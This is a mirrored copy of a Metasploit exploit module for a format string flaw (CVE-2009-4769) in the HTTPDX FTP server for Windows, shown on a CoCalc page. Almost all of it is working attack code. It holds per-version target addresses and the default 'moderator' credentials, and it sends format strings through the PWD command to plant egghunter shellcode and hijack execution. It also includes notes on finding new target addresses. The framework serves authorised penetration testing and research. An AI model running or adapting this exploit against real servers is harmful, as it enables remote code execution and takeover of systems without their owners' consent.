CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ftp/httpdx_tolog_format.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Ftp
10
include Msf::Exploit::Egghunter
11
include Msf::Exploit::FormatString
12
13
def initialize(info = {})
14
super(update_info(info,
15
'Name' => 'HTTPDX tolog() Function Format String Vulnerability',
16
'Description' => %q{
17
This module exploits a format string vulnerability in HTTPDX FTP server.
18
By sending a specially crafted FTP command containing format specifiers, an
19
attacker can corrupt memory and execute arbitrary code.
20
21
By default logging is off for HTTP, but enabled for the 'moderator' user
22
via FTP.
23
},
24
'Author' =>
25
[
26
'jduck' # original discovery and metasploit module
27
],
28
'References' =>
29
[
30
[ 'CVE', '2009-4769' ],
31
[ 'OSVDB', '60181' ]
32
],
33
'DefaultOptions' =>
34
{
35
'EXITFUNC' => 'process'
36
},
37
'Privileged' => true,
38
'Payload' =>
39
{
40
# format string max length
41
'Space' => 1024,
42
'BadChars' => "\x00\x0a\x0d\x25",
43
'DisableNops' => 'True',
44
'StackAdjustment' => -1500
45
},
46
'Platform' => 'win',
47
'Targets' =>
48
[
49
#
50
# Automatic targeting via fingerprinting
51
#
52
[ 'Automatic Targeting', { 'auto' => true } ],
53
54
#
55
# specific targets
56
#
57
[ 'httpdx 1.4 - Windows XP SP3 English',
58
{
59
'NumPops' => 37,
60
'Writable' => 0x64f87810, # empty space in core.dll imports
61
'FlowHook' => 0x64f870e8 # core.dll import for strlen
62
}
63
],
64
[ 'httpdx 1.4.5 - Windows XP SP3 English',
65
{
66
'NumPops' => 37,
67
'Writable' => 0x64f87810, # empty space in core.dll imports
68
'FlowHook' => 0x64f870e8 # core.dll import for strlen
69
}
70
],
71
[ 'httpdx 1.4.6 - Windows XP SP3 English',
72
{
73
'NumPops' => 37,
74
'Writable' => 0x64f87810, # empty space in core.dll imports
75
'FlowHook' => 0x64f870e8 # core.dll import for strlen
76
}
77
],
78
[ 'httpdx 1.4.6b - Windows XP SP3 English',
79
{
80
'NumPops' => 37,
81
'Writable' => 0x64f87810, # empty space in core.dll imports
82
'FlowHook' => 0x64f870e8 # core.dll import for strlen
83
}
84
],
85
[ 'httpdx 1.5 - Windows XP SP3 English',
86
{
87
'NumPops' => 29,
88
'Writable' => 0x64f87810, # empty space in core.dll imports
89
'FlowHook' => 0x64f870e8 # core.dll import for strlen
90
}
91
]
92
],
93
'DefaultTarget' => 0,
94
'DisclosureDate' => '2009-11-17'))
95
=begin
96
97
NOTE: Even though all targets have the same addresses now, future targets may not.
98
99
To find a target:
100
101
1. open "core.dll" in IDA Pro
102
2. navigate to the "c_wildcmp" function
103
3. follow the xref to the first strlen
104
4. follow the xref to the imports area
105
5. copy/paste the address
106
6. the 'Writable' value should be anything after the last address IDA shows..
107
(preferably something above 0x0d, to avoid bad chars)
108
109
If crashes occur referencing strange values, 'NumPops' probably needs adjusting.
110
For now, that will have to be done manually.
111
112
=end
113
register_options(
114
[
115
Opt::RPORT(21),
116
# note the default user/pass
117
OptString.new('FTPUSER', [ true, 'The username to authenticate as', 'moderator'], fallbacks: ['USERNAME']),
118
OptString.new('FTPPASS', [ true, 'The password to authenticate with', 'pass123'], fallbacks: ['PASSWORD'])
119
])
120
end
121
122
123
def check
124
connect
125
disconnect
126
vprint_status("FTP Banner: #{banner}".strip)
127
if banner =~ /httpdx.*\(Win32\)/
128
return Exploit::CheckCode::Detected
129
end
130
return Exploit::CheckCode::Safe
131
end
132
133
134
def exploit
135
136
# Use a copy of the target
137
mytarget = target
138
139
if (target['auto'])
140
mytarget = nil
141
142
print_status("Automatically detecting the target...")
143
connect
144
disconnect
145
146
if (banner and (m = banner.match(/220 httpdx\/(.*) \(Win32\)/))) then
147
print_status("FTP Banner: #{banner.strip}")
148
version = m[1]
149
else
150
print_status("No matching target")
151
return
152
end
153
154
self.targets.each do |t|
155
if (t.name =~ /#{version} - /) then
156
mytarget = t
157
break
158
end
159
end
160
161
if (not mytarget)
162
print_status("No matching target")
163
return
164
end
165
166
print_status("Selected Target: #{mytarget.name}")
167
else
168
print_status("Trying target #{mytarget.name}...")
169
end
170
171
# proceed with chosen target...
172
c = connect_login
173
return if not c
174
175
# '<ip>\n PWD '
176
ip_length = Rex::Socket.source_address(datastore['RHOST']).length
177
num_start = ip_length + 1 + 3 + 1
178
179
180
# use the egghunter!
181
eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
182
183
# write shellcode to 'writable' (all at once)
184
fmtbuf = generate_fmtstr_from_buf(num_start, mytarget['Writable'], eh_stub, mytarget)
185
print_status(" payload format string buffer is #{fmtbuf.length} bytes")
186
if (res = send_cmd(['PWD', fmtbuf ], true))
187
print_status(res.strip)
188
end
189
190
191
# write 'writable' addr to flowhook (execute shellcode)
192
# NOTE: the resulting two writes must be done at the same time
193
fmtbuf = generate_fmt_two_shorts(num_start, mytarget['FlowHook'], mytarget['Writable'], mytarget)
194
195
# add payload to the end
196
fmtbuf << eh_egg
197
print_status(" hijacker format string buffer is #{fmtbuf.length} bytes")
198
if (res = send_cmd(['PWD', fmtbuf ], true))
199
print_status(res.strip)
200
end
201
202
203
disconnect
204
handler
205
206
# connect again to trigger shellcode
207
print_status(" triggering shellcode now")
208
print_status("Please be patient, the egg hunter may take a while...")
209
connect
210
end
211
end
212
213
214
=begin
215
216
also present in 1.5 (presumably all versions in between)
217
218
1.4/httpdx_src/ftp.cpp:
219
220
544 //printf(out);
221
545 char af[MAX] = {0};
222
546 if(isset(out) && client->serve.log || client->serve.debug)
223
547 snprintf(af,sizeof(af)-1,"%s\n%s%s\n",client->addr,client->cmd,out);
224
548 if(isset(out) && client->serve.log)
225
549 tolog(client->serve.accessl,af);
226
550 if(isset(out) && client->serve.debug)
227
551 printf(af);
228
229
1.4/httpdx_src/http.cpp:
230
231
172 char af[MAX] = {0};
232
173 if(client.serve.log || client.serve.debug)
233
174 snprintf(af,sizeof(af)-1,"%s [%s] \"%s /%s HTTP/1.1\" %d\n",client.addr,timef,m[client.method-1],client.filereq,response.code);
234
175 if(client.serve.log)
235
176 tolog(client.serve.accessl,af);
236
177 if(client.serve.debug)
237
178 printf(af);
238
239
=end
240
241